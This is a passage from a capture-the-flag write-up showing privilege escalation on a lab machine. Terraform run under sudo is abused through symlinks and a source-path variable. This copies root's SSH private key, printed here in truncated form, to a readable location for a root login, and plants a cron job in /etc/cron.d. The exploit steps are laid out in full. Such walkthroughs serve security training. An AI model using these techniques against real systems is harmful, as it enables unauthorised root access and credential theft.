Plan: 1 to add, 0 to change, 1 to destroy.

Changes to Outputs:
  ~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/id_rsa"

Do you want to perform these actions?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value: yes

examples_example.example: Destroying... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
examples_example.example: Destruction complete after 0s
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/id_rsa]

Apply complete! Resources: 1 added, 0 changed, 1 destroyed.

Outputs:

destination_path = "/home/jeremy/docker/previous/public/examples/id_rsa"
jeremy@previous:~$ cat /home/jeremy/docker/previous/public/examples/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...[snip]...
jR+NWPfpk9KHMAAAANcm9vdEBwcmV2aW91cwECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

I can use that to get a shell as root:

oxdf@hacky$ ssh -i ~/keys/previous-root root@previous.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
...[snip]...
root@previous:~# 

Overwrite Variables for Write

I can also write anywhere because I can put a link in the target directory:

jeremy@previous:~$ ln -sf /etc/cron.d/pwn docker/previous/public/examples/pwn
jeremy@previous:~$ ls -l docker/previous/public/examples/
total 4
-rw-r--r-- 1 jeremy jeremy 69 Jan  6 22:59 hello-world.ts
lrwxrwxrwx 1 jeremy jeremy 15 Jan  6 22:59 pwn -> /etc/cron.d/pwn

Now I create a file to copy:

jeremy@previous:~$ echo "* * * * * root touch /tmp/rootcron"  > /dev/shm/root/examples/pwn

When I run now, it copies my cron to the /etc/cron.d directory:

jeremy@previous:~$ TF_VAR_source_path=/dev/shm/root/examples/pwn sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
-/+ destroy and then create replacement

Terraform will perform the following actions:

  # examples_example.example must be replaced
-/+ resource "examples_example" "example" {
      ~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/pwn" # forces replacement
      ~ id               = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/pwn"
      ~ source_path      = "/root/examples/hello-world.ts" -> "/dev/shm/root/examples/pwn" # forces replacement
    }

Plan: 1 to add, 0 to change, 1 to destroy.

Changes to Outputs:
  ~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/pwn"

Do you want to perform these actions?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value: yes

examples_example.example: Destroying... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
examples_example.example: Destruction complete after 0s
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/pwn]

Apply complete! Resources: 1 added, 0 changed, 1 destroyed.

Outputs:

destination_path = "/home/jeremy/docker/previous/public/examples/pwn"

And it worked:

jeremy@previous:~$ ls /etc/cron.d
e2scrub_all  pwn

And that runs, touching a file:

jeremy@previous:~$ ls -l /tmp/rootcron 
-rw-r--r-- 1 root root 0 Jan  6 23:02 /tmp/rootcron

I could have that cron do more interesting things, like a reverse shell, or create a SetUID bash.